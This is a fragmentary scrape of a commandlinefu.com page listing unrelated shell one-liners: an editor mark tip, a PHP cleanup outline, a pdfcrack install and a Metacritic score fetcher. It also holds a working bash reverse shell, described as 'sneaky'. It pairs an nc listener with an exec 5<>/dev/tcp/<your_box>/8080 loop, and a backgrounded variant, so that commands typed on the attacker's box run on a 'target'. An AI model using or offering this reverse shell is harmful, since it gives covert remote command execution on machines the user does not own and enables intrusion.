commandlinefu.com is the place to record those command-line gems that you return to again and again.
You can sign-in using OpenID credentials, or register a traditional username and password.
Subscribe to the feed for:
Use 'ctrl-@' to set a mark. See the first comment for a better explanation.
This is sneaky.
First, start a listening service on your box.
nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
You can send it to the background like this:
(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
loop through files in .php extension
make a .bak of each of them
find the base64_decode function and remove it
For debian and ubuntu :
sudo apt-get install pdfcrack
This will fetch a metascore from metacritic.com.
It requires a url from metacritic without the http://www.metacritic.com/
Would be cool to use this in some sort of a graph.